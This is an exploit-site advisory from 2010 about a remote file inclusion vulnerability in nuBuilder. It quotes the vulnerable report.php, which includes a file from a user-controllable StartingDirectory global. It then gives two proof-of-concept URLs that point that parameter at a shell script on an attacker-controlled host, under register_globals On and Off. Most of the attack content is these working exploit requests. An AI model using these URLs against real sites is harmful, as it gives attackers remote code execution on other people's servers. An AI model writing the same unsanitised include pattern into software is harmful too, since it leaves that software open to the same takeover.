nuBuilder Remote File inclusion Vulnerability
Posted on 27 July 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>nuBuilder Remote File inclusion Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================= nuBuilder Remote File inclusion Vulnerability ============================================= Software: nuBuilder 10.04.x and lower(maybe)? Type: Remote File Inclusion Download: http://sourceforge.net/projects/nubuilder/files/ Author: Ahlspiess Email: ahlspiess@tbdsecurity.com Vulnerable file: report.php report.php file content 1 <?php 2 /* 3 ** File: report.php 4 ** Author: nuSoftware 5 ** Created: 2007/04/26 6 ** Last modified: 2009/07/15 7 ** 8 ** Copyright 2004, 2005, 2006, 2007, 2008, 2009 nuSoftware 9 ** 10 ** This file is part of the nuBuilder source package and is licensed under the 11 ** GPLv3. For support on developing in nuBuilder, please visit the nuBuilder 12 ** wiki and forums. For details on contributing a patch for nuBuilder, please 13 ** visit the `Project Contributions' forum. 14 ** 15 ** Website: http://www.nubuilder.com 16 ** Wiki: http://wiki.nubuilder.com 17 ** Forums: http://forums.nubuilder.com 18 */ 19 20 include($GLOBALS['StartingDirectory']."/database.php"); <== interesting huh? POC Succesfully tested against php config register_global = On and Off, allow_url_include = On register_global = Off http://site.tld/report.php?StartingDirectory=http://attacker.tld/shell.txt? register_global = On http://site.tld/report.php?GLOBALS[StartingDirectory]=http://attacker.tld/shell.txt? #EOF # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-27]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>